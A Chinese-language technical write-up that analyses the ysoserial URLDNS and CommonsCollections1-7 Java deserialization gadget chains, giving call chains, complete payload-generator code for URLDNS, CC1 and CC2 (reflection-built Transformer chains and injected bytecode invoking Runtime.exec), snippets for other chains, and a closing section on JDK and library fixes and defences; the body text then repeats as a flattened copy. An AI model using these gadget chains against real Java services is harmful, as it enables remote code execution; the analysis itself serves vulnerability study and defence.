ysoserial URLDNS, CommonsCollections1-7 分析+复现
字数 2554 2025-08-25 22:59:02

Java反序列化漏洞利用链分析:ysoserial URLDNS与CommonsCollections1-7详解

1. URLDNS利用链分析

1.1 基本原理

URLDNS是ysoserial中最简单的利用链,其核心原理是利用Java反序列化时的自动行为触发DNS查询:

  • java.util.HashMap重写了readObject方法,在反序列化时会调用hash函数计算key的hashCode
  • java.net.URLhashCode在计算时会调用getHostAddress来解析域名,从而发出DNS请求

1.2 调用链

HashMap.readObject()
  HashMap.putVal()
    HashMap.hash()
      URL.hashCode()
        URL.getHostAddress()

1.3 关键代码实现

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://xxxx.xxx.xxx");
        
        // 通过反射设置hashCode初始值,避免put时触发DNS查询
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xdeadbeef);
        
        hashMap.put(url, "rmb122");
        
        // 将hashCode设回-1,确保反序列化时重新计算
        f.set(url, -1);
        
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }
}

1.4 测试代码

public class Test {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

2. CommonsCollections1利用链

2.1 适用版本

  • 仅适用于JDK版本 < 8u71
  • Commons Collections 3.x

2.2 调用链

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

2.3 关键组件分析

2.3.1 LazyMap.get()

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

2.3.2 Transformer接口实现

  • ChainedTransformer: 按顺序执行多个Transformer
  • ConstantTransformer: 返回固定常量
  • InvokerTransformer: 反射调用指定方法
// InvokerTransformer关键代码
public Object transform(Object input) {
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    } catch (...) {
        // 异常处理
    }
}

2.3.3 恶意Transformer链构造

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(java.lang.Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{}}),
    new InvokerTransformer("exec", 
        new Class[]{String[].class}, 
        new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
};

2.4 完整利用代码

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{...}; // 同上
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 创建LazyMap
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap")
            .getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
        
        // 创建AnnotationInvocationHandler代理
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
            .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler)constructor.newInstance(Deprecated.class, lazyMap);
        
        // 创建代理对象
        Object proxy = Proxy.newProxyInstance(
            invo.getClass().getClassLoader(),
            new Class[]{Map.class},
            invo);
        
        // 再次包装
        Object obj = constructor.newInstance(Deprecated.class, proxy);
        
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(obj);
    }
}

2.5 JDK修复方式

在JDK 8u71中,AnnotationInvocationHandlerreadObject方法被修改,不再直接使用反序列化得到的memberValues,而是创建新的LinkedHashMap

Map<String, Object> mv = new LinkedHashMap();
// ...
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);

3. CommonsCollections2利用链

3.1 适用版本

  • Commons Collections 4.x
  • 使用TemplatesImpl类动态加载字节码

3.2 调用链

ObjectInputStream.readObject()
  PriorityQueue.readObject()
    ...
    TransformingComparator.compare()
      InvokerTransformer.transform()
        Method.invoke()
          Runtime.exec()

3.3 关键组件

3.3.1 TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以在调用newTransformergetOutputProperties时动态从字节码重建类。

3.3.2 PriorityQueue.readObject()

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();
    // 读取元素
    this.heapify(); // 关键点:会触发排序
}

3.3.3 TransformingComparator

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

3.4 完整利用代码

public class CommonsCollections2 {
    public static class Placeholder {}
    
    public static void main(String[] args) throws Exception {
        // 生成恶意字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.makeClassInitializer().insertAfter(
            "java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
        byte[] bytecode = placeholder.toBytecode();
        
        // 创建TemplatesImpl实例
        Object templates = Class.forName(TemplatesImpl).getConstructor().newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});
        
        // 设置_name字段
        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");
        
        // 构造Transformer
        InvokerTransformer invokerTransformer = new InvokerTransformer(
            "newTransformer", new Class[]{}, new Object[]{});
        
        // 创建PriorityQueue
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        
        // 通过反射设置内部数组和comparator
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;
        
        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);
        
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(queue);
    }
}

4. CommonsCollections3利用链

4.1 特点

  • 使用InstantiateTransformer替代InvokerTransformer
  • 利用TrAXFilter构造函数调用newTransformer

4.2 调用链

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InstantiateTransformer.transform()
              TrAXFilter构造函数
                TemplatesImpl.newTransformer()
                  ... RCE

4.3 关键代码

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Class.forName(TrAXFilter)),
    new InstantiateTransformer(
        new Class[]{Templates.class}, 
        new Object[]{templates}),
};

5. CommonsCollections4利用链

5.1 特点

  • Commons Collections 4.x版本
  • 结合PriorityQueueInstantiateTransformer

5.2 调用链

ObjectInputStream.readObject()
  PriorityQueue.readObject()
    ...
    TransformingComparator.compare()
      InstantiateTransformer.transform()
        TrAXFilter构造函数
          TemplatesImpl.newTransformer()
            ... RCE

6. CommonsCollections5利用链

6.1 适用版本

  • JDK >= 8u76且SecurityManager未设置
  • 使用BadAttributeValueExpException触发

6.2 调用链

ObjectInputStream.readObject()
  BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
      LazyMap.get()
        ChainedTransformer.transform()
          ... RCE

6.3 关键代码

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, tiedMapEntry);

7. CommonsCollections6利用链

7.1 调用链

ObjectInputStream.readObject()
  HashSet.readObject()
    HashMap.put()
      HashMap.hash()
        TiedMapEntry.hashCode()
          TiedMapEntry.getValue()
            LazyMap.get()
              ... RCE

7.2 特点

  • 利用HashSet反序列化时计算hashCode的特性
  • 适用于Commons Collections 3.x和4.x

8. CommonsCollections7利用链

8.1 调用链

ObjectInputStream.readObject()
  Hashtable.readObject()
    Hashtable.reconstitutionPut()
      AbstractMapDecorator.equals()
        AbstractMap.equals()
          LazyMap.get()
            ... RCE

8.2 特点

  • 利用哈希碰撞触发equals比较
  • 适用于Commons Collections 3.x和4.x

9. 总结与防御建议

9.1 利用链对比

编号 主要触发类 关键Transformer 适用CC版本 特点
CC1 AnnotationInvocationHandler InvokerTransformer 3.x JDK<8u71
CC2 PriorityQueue InvokerTransformer 4.x 使用TemplatesImpl
CC3 AnnotationInvocationHandler InstantiateTransformer 3.x 使用TrAXFilter
CC4 PriorityQueue InstantiateTransformer 4.x 结合CC2和CC3
CC5 BadAttributeValueExpException InvokerTransformer 3.x/4.x JDK>=8u76
CC6 HashSet InvokerTransformer 3.x/4.x 利用hashCode
CC7 Hashtable InvokerTransformer 3.x/4.x 利用equals

9.2 防御措施

  1. 升级JDK:特别是修复AnnotationInvocationHandler问题的8u71及以上版本
  2. 升级Commons Collections:使用修复了反序列化问题的版本
  3. 使用安全配置:设置SecurityManager限制危险操作
  4. 输入过滤:对反序列化数据源进行严格校验
  5. 替换序列化方式:考虑使用JSON等更安全的序列化格式

9.3 修复方案

  • Commons Collections的修复主要针对InvokerTransformerInstantiateTransformer,禁用了它们的反序列化功能
  • JDK修复主要针对AnnotationInvocationHandler的反序列化行为

这些利用链展示了Java反序列化漏洞的复杂性和危害性,理解这些机制对于安全开发和漏洞防护至关重要。

Java反序列化漏洞利用链分析:ysoserial URLDNS与CommonsCollections1-7详解 1. URLDNS利用链分析 1.1 基本原理 URLDNS是ysoserial中最简单的利用链,其核心原理是利用Java反序列化时的自动行为触发DNS查询: java.util.HashMap 重写了 readObject 方法,在反序列化时会调用 hash 函数计算key的hashCode java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出DNS请求 1.2 调用链 1.3 关键代码实现 1.4 测试代码 2. CommonsCollections1利用链 2.1 适用版本 仅适用于JDK版本 < 8u71 Commons Collections 3.x 2.2 调用链 2.3 关键组件分析 2.3.1 LazyMap.get() 2.3.2 Transformer接口实现 ChainedTransformer : 按顺序执行多个Transformer ConstantTransformer : 返回固定常量 InvokerTransformer : 反射调用指定方法 2.3.3 恶意Transformer链构造 2.4 完整利用代码 2.5 JDK修复方式 在JDK 8u71中, AnnotationInvocationHandler 的 readObject 方法被修改,不再直接使用反序列化得到的 memberValues ,而是创建新的 LinkedHashMap : 3. CommonsCollections2利用链 3.1 适用版本 Commons Collections 4.x 使用 TemplatesImpl 类动态加载字节码 3.2 调用链 3.3 关键组件 3.3.1 TemplatesImpl com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 可以在调用 newTransformer 或 getOutputProperties 时动态从字节码重建类。 3.3.2 PriorityQueue.readObject() 3.3.3 TransformingComparator 3.4 完整利用代码 4. CommonsCollections3利用链 4.1 特点 使用 InstantiateTransformer 替代 InvokerTransformer 利用 TrAXFilter 构造函数调用 newTransformer 4.2 调用链 4.3 关键代码 5. CommonsCollections4利用链 5.1 特点 Commons Collections 4.x版本 结合 PriorityQueue 和 InstantiateTransformer 5.2 调用链 6. CommonsCollections5利用链 6.1 适用版本 JDK >= 8u76且SecurityManager未设置 使用 BadAttributeValueExpException 触发 6.2 调用链 6.3 关键代码 7. CommonsCollections6利用链 7.1 调用链 7.2 特点 利用 HashSet 反序列化时计算hashCode的特性 适用于Commons Collections 3.x和4.x 8. CommonsCollections7利用链 8.1 调用链 8.2 特点 利用哈希碰撞触发 equals 比较 适用于Commons Collections 3.x和4.x 9. 总结与防御建议 9.1 利用链对比 | 编号 | 主要触发类 | 关键Transformer | 适用CC版本 | 特点 | |------|------------|------------------|------------|------| | CC1 | AnnotationInvocationHandler | InvokerTransformer | 3.x | JDK <8u71 | | CC2 | PriorityQueue | InvokerTransformer | 4.x | 使用TemplatesImpl | | CC3 | AnnotationInvocationHandler | InstantiateTransformer | 3.x | 使用TrAXFilter | | CC4 | PriorityQueue | InstantiateTransformer | 4.x | 结合CC2和CC3 | | CC5 | BadAttributeValueExpException | InvokerTransformer | 3.x/4.x | JDK>=8u76 | | CC6 | HashSet | InvokerTransformer | 3.x/4.x | 利用hashCode | | CC7 | Hashtable | InvokerTransformer | 3.x/4.x | 利用equals | 9.2 防御措施 升级JDK :特别是修复AnnotationInvocationHandler问题的8u71及以上版本 升级Commons Collections :使用修复了反序列化问题的版本 使用安全配置 :设置SecurityManager限制危险操作 输入过滤 :对反序列化数据源进行严格校验 替换序列化方式 :考虑使用JSON等更安全的序列化格式 9.3 修复方案 Commons Collections的修复主要针对 InvokerTransformer 和 InstantiateTransformer ,禁用了它们的反序列化功能 JDK修复主要针对 AnnotationInvocationHandler 的反序列化行为 这些利用链展示了Java反序列化漏洞的复杂性和危害性,理解这些机制对于安全开发和漏洞防护至关重要。